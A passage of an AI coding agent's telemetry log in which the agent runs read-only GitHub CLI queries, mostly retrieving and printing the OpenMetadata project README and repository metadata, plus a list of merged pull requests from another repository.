slug=gpt-5.6-sol\n[2026-07-12T04:02:59.602Z] [INFO] 2026-07-12T04:02:59.601603Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c duration_ms=635 success=true arguments_length=154 output_length=342 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.601Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.602Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] 2026-07-12T04:02:59.639369Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=673 success=true output=Chunk ID: 7e7749\n[2026-07-12T04:02:59.640Z] [INFO] Wall time: 0.4661 seconds\n[2026-07-12T04:02:59.640Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.640Z] [INFO] Original token count: 4969\n[2026-07-12T04:02:59.640Z] [INFO] Output:\n[2026-07-12T04:02:59.640Z] [INFO] # OpenMetadata\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ![Commit Activity](https://img.shields.io/github/commit-activity/m/open-metadata/OpenMetadata?style=for-the-badge) [![Release](https://img.shields.io/github/release/open-metadata/OpenMetadata/all.svg?style=for-the-badge)](https://github.com/open-metadata/OpenMetadata/releases)\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ## The Open Context Layer for AI\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] **The largest and fastest-growing open-source project for AI context, data cataloging, and metadata management.**\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata is the open platform for trusted data context, organizational memory, and business semantics for every data user, AI assistant, and agent.\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata connects technical metadata, data quality signals, lineage, column-level lineage, ownership, usage, policies, conversations, memories, glossaries, classifications, metrics, domains, data contracts, and data products into a unified metadata knowledge graph. With **130+ connectors**, open metadata standards, semantic search, APIs, SDKs, and an MCP server, OpenMetadata gives every user and AI system the governed context it needs to discover, understand, trust, remember, and use data.\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] **AI does not need another raw database connector. AI needs context + memory.**\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ![OpenMetadata: The Open Context Layer for AI](docs/assets/open-context-layer-hero.png)\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] OpenMetadata provides the context AI needs to know:\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] - what data exists\n[2026-07-12T04:02:59.640Z] [INFO] - what it means\n[2026-07-12T04:02:59.640Z] [INFO] - who owns it\n[2026-07-12T04:02:59.640Z] [INFO] - how it is used\n[2026-07-12T04:02:59.640Z] [INFO] - where it came from\n[2026-07-12T04:02:59.640Z] [INFO] - where it flows\n[2026-07-12T04:02:59.640Z] [INFO] - whether it is fresh, tested, certified, and trusted\n[2026-07-12T04:02:59.640Z] [INFO] - which business concepts, classifications, glossary terms, policies, contracts, and data products apply\n[2026-07-12T04:02:59.640Z] [INFO] - what downstream dashboards, pipelines, metrics, ML models, and applications depend on it\n[2026-07-12T04:02:59.640Z] [INFO] - what conversations, decisions, assumptions, and memory nuggets have already been captured about it\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ---\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] ## Why OpenMetadata for AI?\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.640Z] [INFO] AI systems need more than data access. They need governed context, business meaning, trust signals, lineage, usage, ownership, standa\n[2026-07-12T04:02:59.640Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.639Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.640Z] [INFO] 2026-07-12T04:02:59.639490Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd duration_ms=673 success=true arguments_length=196 output_length=2086 output_line_count=40 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.639Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.640Z] [INFO] \n[2026-07-12T04:02:59.657Z] [INFO] 2026-07-12T04:02:59.657094Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 arguments={\"cmd\":\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=722 success=true output=Chunk ID: a7443a\n[2026-07-12T04:02:59.657Z] [INFO] Wall time: 0.5423 seconds\n[2026-07-12T04:02:59.657Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.657Z] [INFO] Original token count: 1391\n[2026-07-12T04:02:59.657Z] [INFO] Output:\n[2026-07-12T04:02:59.657Z] [INFO] [{\"body\":\"## Summary\\n\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\n\\nFixes #3\\n\\n## Reproduction\\n\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\n\\n1. `Build Package` succeeded.\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\n\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\n\\n## Verification\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo build --release --verbose`\\n- `cargo package --list --allow-dirty`\\n\\n## Template Follow-Up\\n\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\n\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\n\",\"mergedAt\":\"2026-04-27T08:59:27Z\",\"number\":4,\"title\":\"Fix GitHub Pages docs deployment independence\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/4\"},{\"body\":\"## Summary\\n\\nFirst prototype (MVP) of the meta-ontology project, addressing\\n[issue #1](https://github.com/link-foundation/meta-ontology/issues/1).\\nThe repository graduates from the Rus\n[2026-07-12T04:02:59.657Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.657Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.657Z] [INFO] 2026-07-12T04:02:59.657156Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 duration_ms=722 success=true arguments_length=216 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.657Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.657Z] [INFO] \n[2026-07-12T04:02:59.706Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_19\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/languages'\",\"aggregated_output\":\"{\\\"TypeScript\\\":41102697,\\\"Java\\\":34595426,\\\"Python\\\":17784108,\\\"Less\\\":1046117,\\\"Shell\\\":327620,\\\"CSS\\\":197273,\\\"JavaScript\\\":165985,\\\"HTML\\\":34464,\\\"PLpgSQL\\\":26903,\\\"Dockerfile\\\":23766,\\\"Makefile\\\":22574,\\\"ANTLR\\\":4911,\\\"LookML\\\":1580,\\\"Mustache\\\":465,\\\"Jinja\\\":285}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.706Z] [INFO] \n[2026-07-12T04:02:59.751Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_18\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"# OpenMetadata\\n\\n![Commit Activity](https://img.shields.io/github/commit-activity/m/open-metadata/OpenMetadata?style=for-the-badge) [![Release](https://img.shields.io/github/release/open-metadata/OpenMetadata/all.svg?style=for-the-badge)](https://github.com/open-metadata/OpenMetadata/releases)\\n\\n## The Open Context Layer for AI\\n\\n**The largest and fastest-growing open-source project for AI context, data cataloging, and metadata management.**\\n\\nOpenMetadata is the open platform for trusted data context, organizational memory, and business semantics for every data user, AI assistant, and agent.\\n\\nOpenMetadata connects technical metadata, data quality signals, lineage, column-level lineage, ownership, usage, policies, conversations, memories, glossaries, classifications, metrics, domains, data contracts, and data products into a unified metadata knowledge graph. With **130+ connectors**, open metadata standards, semantic search, APIs, SDKs, and an MCP server, OpenMetadata gives every user and AI system the governed context it needs to discover, understand, trust, remember, and use data.\\n\\n**AI does not need another raw database connector. AI needs context + memory.**\\n\\n![OpenMetadata: The Open Context Layer for AI](docs/assets/open-context-layer-hero.png)\\n\\nOpenMetadata provides the context AI needs to know:\\n\\n- what data exists\\n- what it means\\n- who owns it\\n- how it is used\\n- where it came from\\n- where it flows\\n- whether it is fresh, tested, certified, and trusted\\n- which business concepts, classifications, glossary terms, policies, contracts, and data products apply\\n- what downstream dashboards, pipelines, metrics, ML models, and applications depend on it\\n- what conversations, decisions, assumptions, and memory nuggets have already been captured about it\\n\\n---\\n\\n## Why OpenMetadata for AI?\\n\\nAI systems need more than data access. They need governed context, business meaning, trust signals, lineage, usage, ownership, standards, and organizational memory.\\n\\nA direct connection to a warehouse, lake, dashboard, or pipeline exposes raw structures. It does not tell an AI assistant what the data means, whether it is certified, who owns it, which policies apply, what contract governs it, what breaks if it changes, or what the organization has already learned about it.\\n\\nOpenMetadata is the open context layer that gives every data user and AI agent the full picture of enterprise data.\\n\\nOpenMetadata brings together five capabilities:\\n\\n1. **Context** \u2014 technical, operational, trust, usage, and lineage metadata from across the data ecosystem.\\n2. **Semantics** \u2014 business meaning through glossaries, metrics, classifications, domains, policies, ontologies, and data products.\\n3. **Knowledge Graph** \u2014 relationships connecting assets, columns, people, teams, quality, lineage, policies, memories, contracts, and business concepts.\\n4. **Memory** \u2014 conversations, AI threads, decisions, assumptions, runbooks, remediation notes, and reusable memory nuggets that preserve tribal knowledge.\\n5. **Activation** \u2014 MCP, Semantic Search, APIs, SDKs, events, and workflows that make context usable by AI assistants, agents, applications, and humans.\\n\\nWith OpenMetadata, users and AI agents can answer:\\n\\n- What does this metric mean and how is it calculated?\\n- Which datasets power this dashboard?\\n- Who owns this data product?\\n- Which data contract applies?\\n- Is this dataset fresh, tested, certified, and trusted?\\n- Which downstream dashboards, pipelines, or ML models are affected by this column change?\\n- Which columns contain sensitive customer information?\\n- Which glossary terms, policies, standards, and business concepts apply?\\n- What decisions, assumptions, incidents, or conversations have already been captured about this asset?\\n\\n---\\n\\n## The Context OpenMetadata Connects\\n\\nOpenMetadata collects and connects the context AI needs to reason safely over enterprise data.\\n\\n| Context type | What OpenMetadata captures | Why it matters for AI |\\n| --- | --- | --- |\\n| **Technical metadata** | Databases, schemas, tables, columns, topics, dashboards, charts, pipelines, APIs, search indexes, ML models, storage assets, data types, constraints, descriptions, joins, sample queries, service metadata, owners, teams, usage, domains, and data products | Helps AI discover what exists and understand how assets are structured |\\n| **Quality and trust** | Test cases, test suites, freshness checks, volume checks, null, uniqueness, distribution, custom tests, profiling results, observability signals, incidents, alerts, and quality history | Helps AI avoid treating every dataset as equally trustworthy |\\n| **Lineage and impact** | Upstream and downstream lineage, table lineage, column-level lineage, dashboard lineage, pipeline lineage, metric lineage, ML model lineage, API and topic dependencies, and OpenLineage events | Helps AI explain where data came from, where it flows, and what changes may break |\\n| **Semantics** | Glossaries, business terms, synonyms, related terms, metrics, KPIs, classifications, tags, domains, data products, policies, personas, lifecycle states, and ontologies | Helps AI map technical names to business meaning |\\n| **Governance** | Owners, stewards, teams, policies, roles, classifications, access context, certification, review workflows, lifecycle states, and data contracts | Helps AI act with policy-aware context |\\n| **Memory and tribal knowledge** | Conversations, AI threads, decisions, assumptions, runbooks, remediation notes, incident learnings, and reusable memory nuggets attached to assets, users, teams, data products, and agent workflows | Helps humans and agents inherit what the organization already learned instead of rediscovering it in every conversation |\\n| **Standards and interoperability** | DCAT, DPROD, PROV-O, OpenLineage, ODCS, RDF/OWL, JSON-LD, SHACL, JSON Schema, APIs, events, and metadata schemas | Helps context move across tools, agents, catalogs, contracts, and knowledge graphs |\\n\\n---\\n\\n## Architecture: Context + Memory Graph\\n\\n![How OpenMetadata Works](docs/assets/open-context-layer-architecture.png)\\n\\nOpenMetadata is built around an open, schema-first metadata graph.\\n\\n1. **Collect** metadata from warehouses, lakes, BI tools, pipelines, ML platforms, messaging systems, storage systems, APIs, search systems, SaaS applications, metadata systems, documents, conversations, and agent workflows through **130+ connectors**, ingestion APIs, events, and SDKs.\\n2. **Normalize** metadata with open schemas and standards so every asset, relationship, policy, contract, lineage event, and memory can be represented consistently.\\n3. **Connect** technical metadata, quality signals, lineage, ownership, usage, policies, conversations, memories, semantics, domains, contracts, and data products into one graph.\\n4. **Preserve Memory** by turning conversations, AI threads, decisions, assumptions, runbooks, and remediation notes into reusable governed memory nuggets tied to data assets and business context.\\n5. **Govern** context with open standards, classifications, policies, roles, data quality, review workflows, data contracts, and stewardship.\\n6. **Activate** that context through Semantic Search, MCP, APIs, SDKs, events, webhooks, metadata applications, and AI workflows.\\n\\nMemory is part of the architecture, not a side channel. It lets engineers use APIs, SDKs, MCP, or AI workflows to preserve conversational context and convert tribal knowledge into reusable organizational knowledge.\\n\\n---\\n\\n## Context Graph, Semantics, and Memory\\n\\n![OpenMetadata Context Graph](docs/assets/open-context-layer-graph.png)\\n\\nThe OpenMetadata graph does not only store data assets. It stores the relationships between assets, columns, owners, teams, policies, quality tests, lineage, classifications, glossary terms, metrics, domains, data contracts, data products, conversations, and memory nuggets.\\n\\nExample relationships:\\n\\n```text\\nTable               \u2500\u2500hasColumn\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Column\\nColumn              \u2500\u2500classifiedAs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> PII\\nColumn              \u2500\u2500represents\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Customer Identifier\\nTable               \u2500\u2500ownedBy\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Data Engineering Team\\nTable               \u2500\u2500partOf\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Customer 360 Data Product\\nDashboard           \u2500\u2500dependsOn\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nMetric              \u2500\u2500definedBy\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Glossary Term\\nPipeline            \u2500\u2500produces\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nColumn              \u2500\u2500flowsTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Column\\nTest Case           \u2500\u2500validates\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nPolicy              \u2500\u2500governs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Classification\\nData Contract       \u2500\u2500appliesTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table\\nOpenLineage Event   \u2500\u2500updatesLineageFor\u2500\u2500\u2500> Pipeline\\nAgent Conversation  \u2500\u2500capturedAs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Memory \\nMemory              \u2500\u2500informs\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Data Product\\nMemory              \u2500\u2500documentsDecisionFor> Metric\\nMemory              \u2500\u2500attachedTo\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500> Table / Column / Topic / Dashboard / Pipeline / API\\n```\\n\\nThis graph gives AI systems the relationships, meaning, memory, and governance they need to reason across the data estate.\\n\\n---\\n\\n## Memories: Organizational Context for Humans and Agents\\n\\n![Memory Primitives](docs/assets/memory-primitives.png)\\n\\nMemories preserve the important context that usually disappears inside chats, tickets, meetings, notebooks, and AI agent threads.\\n\\nA memory is an open, governed OpenMetadata entity that can be tied to data assets, users, teams, threads, domains, data products, metrics, policies, incidents, and workflows. Engineers can capture and retrieve memories through APIs, SDKs, MCP, chat, or AI applications.\\n\\nUse memories to preserve:\\n\\n- why a metric changed\\n- why a column was renamed\\n- what assumption was used in an analysis\\n- which remediation fixed a data quality issue\\n- which dashboard or data product a decision applies to\\n- what an AI agent learned while investigating an incident\\n- what a domain expert explained in a conversation\\n\\nMemories unlock tribal knowledge by making it reusable, governed, searchable, and available to every human, assistant, and agent that touches your data.\\n\\n---\\n\\n## MCP, Semantic Search, APIs, AI SDK, and Memory\\n\\nOpenMetadata makes context actionable through AI- and developer-friendly interfaces.\\n\\n### MCP Server\\n\\nOpenMetadata includes an MCP server that lets MCP-compatible assistants and agents interact with the metadata graph through natural language.\\n\\nAI assistants can use OpenMetadata MCP to:\\n\\n- search metadata\\n- run semantic search\\n- retrieve entity details\\n- inspect lineage\\n- understand data contracts and policy context\\n- retrieve or preserve memory nuggets\\n- update descriptions, tags, owners, and other metadata\\n- create glossary terms and lineage\\n- list and create data quality tests\\n- analyze root causes of data quality failures\\n\\nGet started: [OpenMetadata MCP Server Documentation](https://docs.open-metadata.org/latest/how-to-guides/mcp)\\n\\n### Semantic Search\\n\\nSemantic Search lets users and AI assistants find data assets by meaning, not only exact keywords.\\n\\n```text\\nFind trusted customer purchase datasets with known data quality issues and recent remediation notes.\\n```\\n\\nOpenMetadata can surface conceptually related assets, metrics, glossary terms, data products, memory nuggets, and governance context even when names differ across domains, tools, and teams.\\n\\n### APIs, SDKs, Events, and Webhooks\\n\\nOpenMetadata exposes APIs, SDKs, events, and webhooks so teams can ingest, update, search, subscribe to, and automate metadata across their ecosystem.\\n\\nDevelopers can use the AI SDK to build custom AI applications that use OpenMetadata context and memory programmatically.\\n\\n---\\n\\n## What You Can Build\\n\\n### AI Data Discovery\\nAsk natural-language questions over the metadata graph and find relevant assets even when names and keywords do not match exactly.\\n\\n### Trusted AI Assistants\\nGround AI responses in governed metadata: owners, descriptions, glossary terms, classifications, quality, freshness, usage, lineage, policies, contracts, and memory.\\n\\n### Agent Memory and Tribal Knowledge\\nCapture conversations, decisions, assumptions, runbooks, and agent learnings as governed memory nuggets that can be reused by every data user and AI agent.\\n\\n### Impact Analysis Agents\\nAsk what will break if a table, column, pipeline, dashboard, metric, ML feature, contract, or data product changes.\\n\\n### Governance Automation\\nUse agents to suggest descriptions, assign glossary terms, identify sensitive data, propose ownership, enforce contract context, and manage stewardship workflows.\\n\\n### Data Quality Automation\\nUse AI workflows to create tests, summarize failures, identify root causes, preserve remediation memory, and recommend next actions.\\n\\n### Developer and Coding Agent Workflows\\nConnect coding agents to OpenMetadata so they understand schemas, owners, lineage, business definitions, quality expectations, contracts, and memory before generating SQL, dbt models, documentation, tests, migration plans, or impact analysis.\\n\\n---\\n\\n## Open Standards and Interoperability\\n\\nOpenMetadata is built on open metadata standards.\\n\\n[OpenMetadata Standards](https://openmetadatastandards.org/) is the open-source home for schemas, APIs, ontologies, event models, and semantic specifications behind OpenMetadata.\\n\\nIt provides:\\n\\n- 700+ JSON Schemas for metadata entities, APIs, configurations, events, and relationships\\n- RDF/OWL ontologies for semantic web, linked data, and knowledge graph use cases\\n- SHACL shapes for validation\\n- JSON-LD contexts for semantic interoperability\\n- standards for governance, lineage, quality, observability, teams, users, roles, policies, events, contracts, and data products\\n\\nOpenMetadata supports and aligns with the standards that matter for AI context and data ecosystems:\\n\\n| Standard | How OpenMetadata uses it |\\n| --- | --- |\\n| **DCAT / DPROD** | Represents catalog and data-product context in interoperable semantic models, including datasets, data services, distributions, domains, owners, input and output datasets, lifecycle state, purpose, and policies. |\\n| **PROV-O** | Uses W3C provenance semantics for lineage, generated/derived data, agents, activities, ownership, and explainable context. |\\n| **OpenLineage Support** | Accepts and connects OpenLineage-compatible lineage events so pipeline execution metadata can enrich the broader OpenMetadata graph. |\\n| **ODCS Support** | Supports Open Data Contract Standard 3.1 for interoperable data contracts, contract import/export, schema expectations, quality rules, SLAs, support channels, roles, and producer-consumer agreements. |\\n| **RDF/OWL, JSON-LD, SHACL** | Makes metadata graph-friendly, semantically interoperable, and validatable for linked data, knowledge graph, and AI use cases. |\\n| **JSON Schema, APIs, Events** | Keeps metadata portable, automation-friendly, and extensible across tools, agents, and custom applications. |\\n\\nThese standards make OpenMetadata a foundation for interoperable semantic metadata, linked data, data products, data contracts, lineage, provenance, and enterprise knowledge graphs.\\n\\n---\\n\\n## Core Platform Capabilities\\n\\n| Capability | Includes |\\n| --- | --- |\\n| **AI Context and Memory** | memory nuggets, conversations, agent threads, decisions, assumptions, remediation notes, runbooks, context retrieval, and governed agent memory |\\n| **Discovery and Understanding** | asset search, semantic search, descriptions, sample data, usage, ownership, conversations, tasks, announcements |\\n| **Governance and Semantics** | glossaries, classifications, tags, metrics, KPIs, domains, data products, policies, roles, certification, lifecycle states |\\n| **Data Contracts and Standards** | ODCS 3.1 support, contract import/export, schema expectations, SLAs, terms of service, semantic relationships, data product context, DCAT/DPROD, PROV-O, RDF/OWL, JSON-LD, SHACL |\\n| **Data Quality and Observability** | tests, profiling, freshness, volume, null, uniqueness, distribution checks, alerts, incidents, root-cause workflows |\\n| **Lineage and Impact Analysis** | table lineage, column-level lineage, dashboard lineage, pipeline lineage, metric lineage, ML model lineage, OpenLineage support, impact analysis |\\n| **Security and Access Control** | authentication, authorization, roles, policies, SSO, bot tokens, user tokens, MCP authentication, governed metadata actions |\\n| **Extensibility and Automation** | 130+ connectors, APIs, SDKs, webhooks, events, applications, ingestion framework, custom connectors, custom properties, MCP tools, AI SDK workflows |\\n\\n---\\n\\n## Quickstart\\n\\n1. **Try OpenMetadata**: [OpenMetadata Sandbox](https://sandbox.open-metadata.org)\\n2. **Install OpenMetadata**: [Quickstart Guide](https://docs.open-metadata.org/latest/quick-start)\\n3. **Ingest Metadata** from a warehouse, BI tool, pipeline system, data quality tool, lineage source, contract source, or memory-producing workflow.\\n4. **Build Context** with descriptions, owners, teams, domains, data products, quality tests, freshness, usage, lineage, and data contracts.\\n5. **Add Semantics** with glossaries, classifications, tags, metrics, KPIs, policies, domains, DCAT/DPROD-aligned data products, and PROV-O lineage context.\\n6. **Capture Memory** from conversations, AI threads, incidents, remediation notes, assumptions, and decisions.\\n7. **Enable Semantic Search** so users and AI assistants can search by meaning.\\n8. **Connect an MCP Client** to give AI assistants and agents governed access to OpenMetadata context and memory.\\n9. **Build AI Applications** using OpenMetadata APIs, SDKs, MCP tools, events, and AI SDK workflows.\\n\\n---\\n\\n## Documentation and Community\\n\\n- Documentation: [docs.open-metadata.org](https://docs.open-metadata.org/)\\n- MCP Server: [OpenMetadata MCP Documentation](https://docs.open-metadata.org/latest/how-to-guides/mcp)\\n- OpenLineage Connector: [OpenMetadata OpenLineage Documentation](https://docs.open-metadata.org/latest/connectors/pipeline/openlineage)\\n- OpenMetadata Standards: [openmetadatastandards.org](https://openmetadatastandards.org/)\\n- Website: [open-metadata.org](https://open-metadata.org/)\\n- Slack Community: [slack.open-metadata.org](https://slack.open-metadata.org/)\\n- Blog: [blog.open-metadata.org](https://blog.open-metadata.org/)\\n\\n---\\n\\n## Open Source and Enterprise AI\\n\\nOpenMetadata is the open-source foundation for AI context, metadata, organizational memory, semantics, governance, quality, lineage, data contracts, open standards, APIs, MCP, and AI SDK workflows.\\n\\nFor managed enterprise capabilities, AI agents, automation, AI Studio, enterprise MCP workflows, commercial support, and managed operations, see Collate:\\n\\n- [Collate](https://www.getcollate.io/)\\n- [Collate AI](https://www.getcollate.io/collate-ai)\\n\\n---\\n\\n## Contributing\\n\\nWe welcome contributions from the community. You can help improve metadata schemas and standards, add connectors, improve ingestion workflows, enhance MCP tools, improve semantic search, add memory workflows, add documentation, fix bugs, and improve the user experience.\\n\\nSee the contribution guide in this repository to get started.\\n\\n- [How To Contribute](https://docs.open-metadata.org/v1.12.x/developers/contribute)\\n- [Development Environment Setup](https://docs.open-metadata.org/v1.12.x/developers/contribute/development-environment-setup)\\n- [Build Code & Run Tests](https://docs.open-metadata.org/v1.12.x/developers/contribute/build-code-and-run-tests)\\n\\n---\\n\\n## License\\n\\nOpenMetadata is released under the [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0).\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.751Z] [INFO] \n[2026-07-12T04:02:59.764Z] [INFO] 2026-07-12T04:02:59.762369Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=740 success=true output=Chunk ID: 335012\n[2026-07-12T04:02:59.764Z] [INFO] Wall time: 0.5229 seconds\n[2026-07-12T04:02:59.764Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.764Z] [INFO] Original token count: 1822\n[2026-07-12T04:02:59.764Z] [INFO] Output:\n[2026-07-12T04:02:59.764Z] [INFO] {\"id\":391740664,\"node_id\":\"MDEwOlJlcG9zaXRvcnkzOTE3NDA2NjQ=\",\"name\":\"OpenMetadata\",\"full_name\":\"open-metadata/OpenMetadata\",\"private\":false,\"owner\":{\"login\":\"open-metadata\",\"id\":86132257,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/86132257?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/open-metadata\",\"html_url\":\"https://github.com/open-metadata\",\"followers_url\":\"https://api.github.com/users/open-metadata/followers\",\"following_url\":\"https://api.github.com/users/open-metadata/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/open-metadata/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/open-metadata/subscriptions\",\"organizations_url\":\"https://api.github.com/users/open-metadata/orgs\",\"repos_url\":\"https://api.github.com/users/open-metadata/repos\",\"events_url\":\"https://api.github.com/users/open-metadata/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/open-metadata/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/open-metadata/OpenMetadata\",\"description\":\"The Open Context Layer for Data and AI ,  OpenMetadata is the open platform for building trusted data context and business semantics for humans, AI assistants, and 